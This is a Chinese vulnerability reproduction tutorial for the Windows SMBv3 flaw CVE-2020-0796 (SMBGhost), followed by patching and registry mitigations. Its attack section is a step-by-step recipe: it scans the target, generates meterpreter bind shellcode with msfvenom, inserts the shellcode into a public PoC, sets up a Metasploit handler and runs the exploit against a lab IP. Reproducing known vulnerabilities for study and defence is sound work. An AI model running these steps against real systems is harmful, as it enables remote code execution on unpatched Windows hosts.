windows10 远程代码执行漏洞复现（CVE-2020-0796）

漏洞描述

2020年3月10日，微软在其官方SRC发布了CVE-2020-0796的安全公告（ADV200005，MicrosoftGuidance for Disabling SMBv3 Compression）,公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中，攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。
 

---

 

漏洞危害等级

高

---

 

影响版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

 

测试环境及工具

POC地址：https://github.com/chompie1337/SMBGhost_RCE_PoC
scanner.py：https://github.com/ollypwn/SMBGhost

先检测目标是否存在该漏洞
python3 scanner.py 192.168.6.14

漏洞利用

生产反向连接木马
使用 msfvenom 生成 python 类型正向连接的 shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b 'x00' -i 1 -f python

将生成的 shellcode 替换 POC 中 exploit.py 里的USER_PAYLOAD字段，注意要将buf替换为USER_PAYLOAD
 

MSF启动监听

root@kali:~# msfconsole
 

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4444     //监听端口
set rhost 192.168.6.14   //目标主机
run

POC发起攻击
python3 exploit.py -ip 192.168.6.14
 

实现本地提权
 

靶机里面还是普通用户，攻击成功后拿到本地权限。
 

---

 

漏洞加固

 
1. 更新,完成补丁的安装。

操作步骤：设置->更新和安全->Windows更新，点击“检查更新”。

2.微软给出了临时的应对办法：
运行regedit.exe，打开注册表编辑器，在HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters建立一个名为DisableCompression的DWORD，值为1，禁止SMB的压缩功能。

在管理员模式启动PowerShell，将以下命令复制到Powershell命令行，执行即可。
Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetServicesLanmanServerParameters" DisableCompression -Type DWORD -Value 1 -Force

3.对SMB通信445端口进行封禁。

补丁链接

https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762

 

Source:https://idc.wanyunshuju.com/aqld/1686.html